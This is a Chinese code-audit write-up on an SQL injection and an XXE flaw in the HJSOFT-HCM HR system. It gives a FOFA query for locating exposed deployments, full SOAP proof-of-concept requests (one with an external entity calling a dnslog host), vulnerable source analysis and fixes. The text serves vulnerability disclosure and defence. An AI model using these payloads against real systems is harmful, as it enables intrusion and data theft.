SQL注入漏洞
影响范围
通过 FOFA 搜索引擎,我们可以发现宏景人力资源信息管理系统(HJSOFT-HCM)在互联网上有大量部署。
FOGA 搜索语法:app="HJSOFT-HCM"

POC数据包
以下是触发 SQL 注入漏洞的 SOAP 请求数据包:
POST /services/HrChangeInfoService HTTP/1.1
Host: IP:PORT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/xml
Content-Length: 448
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:ser="http://service.core.hrms.com">
<soapenv:Header/>
<soapenv:Body>
<ser:returnSynchroString>
<strString>test</strString>
<username>admin';*</username>
<password>test</password>
</ser:returnSynchroString>
</soapenv:Body>
</soapenv:Envelope>
使用 sqlmap 等工具可以成功验证并利用此注入点,获取数据库信息。

漏洞分析
首先,我们从 web.xml 配置文件入手。通过 POC 可以看到,请求的接口路径为 /services/HrChangeInfoService。实际上,路径 /servlet/XFireServlet/HrChangeInfoService 也能达到同样的效果,因为它们最终都映射到同一个 Servlet 进行处理。

关键配置如下:
<servlet>
<servlet-name>XFireServlet</servlet-name>
<servlet-class>org.codehaus.xfire.transport.http.XFireConfigurableServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>XFireServlet</servlet-name>
<url-pattern>/servlet/XFireServlet/*</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>XFireServlet</servlet-name>
<url-pattern>/services/*</url-pattern>
</servlet-mapping>
可以看到,/services/* 和 /servlet/XFireServlet/* 这两个 URL 模式都交由 org.codehaus.xfire.transport.http.XFireConfigurableServlet 处理。

分析 XFireConfigurableServlet.class 的源码,其核心功能是通过读取配置文件 META-INF/xfire/services.xml 来动态映射和调用不同的服务类。

接下来,我们查看 services.xml 配置文件。该文件定义了各个 SOAP 服务名称与具体实现类的映射关系。

在配置文件中,我们找到了 HrChangeInfoService 对应的实现类 com.hjsj.hrms.service.core.HrChangeInfoService。这个类正是存在漏洞的入口。

打开 HrChangeInfoService.class 进行反编译分析。该类实现了多个方法,用于处理不同的人员信息查询和同步请求。

我们重点关注 returnSynchroString 方法。该方法接收三个参数:strString、username、password。

在方法内部,首先会调用 this.cheakCode(username, password) 来校验用户名和密码。我们跟进 cheakCode 方法查看其实现逻辑。

在 cheakCode 方法中,我们看到了问题的根源:传入的 username 和 password 参数未经任何处理,直接拼接到了 SQL 查询语句中。

关键的漏洞代码如下:
String sql = "select 1 from operuser where username='" + hjusername + "' and password='" + password + "'";
这种字符串拼接的方式导致了经典的 SQL 注入漏洞。攻击者可以通过精心构造 username 或 password 参数,插入恶意 SQL 代码,从而绕过身份验证、窃取或篡改数据库信息。
此外,该类中的其他方法,如 getWhereChangeUsers,也使用了相同的 cheakCode 方法进行校验,因此同样存在 SQL 注入漏洞。这类通过 SOAP/XML 接口暴露的漏洞,在 代码审计 过程中需要格外关注参数传递与处理链条。

XXE漏洞
除了 SQL 注入,该系统还存在一处 XML 外部实体注入(XXE)漏洞。
POC数据包
利用 XXE 漏洞可以触发外部 DNS 查询,验证漏洞存在。
POST /services/SynToADService HTTP/1.1
Host: IP:PORT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Content-Type: text/xml; charset=UTF-8
SOAPAction: ""
Content-Length: 850
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:ser="http://service.core.hrms.com">
<soapenv:Header/>
<soapenv:Body>
<ser:sendSyncMsg>
<xmlMessage>
<![CDATA[<!DOCTYPE hr [
<!ENTITY % remote SYSTEM "http://v3i3y6.dnslog.cn">
%remote;
%send;
]>
<hr>
<recs>
<rec>org,emp</rec>
</recs>
<jdbc>
<datatype>oracle</datatype>
<database>test</database>
<ip_addr>127.0.0.1</ip_addr>
<username>test</username>
<port>1521</port>
<pass>test</pass>
</jdbc>
</hr>]]>
</xmlMessage>
</ser:sendSyncMsg>
</soapenv:Body>
</soapenv:Envelope>
发送请求后,在 DNSLog 平台可以看到来自目标服务器的查询记录,证明 XXE 漏洞被成功触发。


漏洞分析
回到 services.xml 配置文件,找到另一个服务 SynToADService,其对应的实现类为 com.hjsj.hrms.service.ladp.SynToADService。


分析 SynToADService.class 的 sendSyncMsg 方法。该方法接收一个名为 xmlMessage 的字符串参数,并将其传递给 synUtils.parseXml(xmlMessage) 进行解析。

跟进 SynUtils 类的 parseXml 方法。这里是漏洞产生的关键位置。

在 parseXml 方法中,程序使用了 org.jdom.input.SAXBuilder 来解析 XML。问题在于,代码中没有对 XML 解析器进行任何安全配置(如禁用外部实体、禁用 DTD 等),就直接解析了外部传入的、完全可控的 xmlMessage 字符串。
形成 XXE 漏洞的核心代码如下:
SAXBuilder saxbuilder = new SAXBuilder(); // 漏洞点1:未配置安全属性
StringReader reader = new StringReader(xmlMessage);
Document doc = saxbuilder.build(reader); // 漏洞点2:直接解析外部可控的XML
由于 xmlMessage 参数完全由攻击者控制,攻击者可以在此处插入恶意的外部实体声明,导致服务器解析 XML 时向攻击者指定的地址发起 HTTP、DNS 等网络请求,可能造成敏感信息泄露(如读取服务器本地文件)或内部网络探测。在针对此类 SOAP 接口进行安全测试时,对 XML 输入的处理逻辑需要仔细审查。
总结
本次对宏景人力资源信息管理系统的代码审计,揭示了两处高风险的安全漏洞:一处是位于 HrChangeInfoService 服务中的 SQL 注入,另一处是位于 SynToADService 服务中的 XXE 漏洞。两处漏洞均源于对用户输入数据的信任与不当处理,是 Web 应用安全中常见的问题。
对于开发人员而言,修复建议非常明确:
- SQL注入:将所有数据库查询语句改为使用参数化查询(Prepared Statement),杜绝字符串拼接。
- XXE漏洞:在解析 XML 时,配置
SAXBuilder 或对应的 XML 解析器,显式禁用外部实体(FEATURE_EXTERNAL_GENERAL_ENTITIES, FEATURE_EXTERNAL_PARAMETER_ENTITIES)和 DTD 解析。
对于安全研究人员和企业安全团队,此案例再次提醒我们,对于使用传统框架(如 XFire)开发的、对外暴露 SOAP/WebService 接口的系统,应将其纳入重点的安全评估范围。这类接口往往承载着核心业务逻辑,一旦出现漏洞,影响面通常较大。通过静态代码审计与动态渗透测试相结合的方式,可以有效发现并消除此类安全隐患。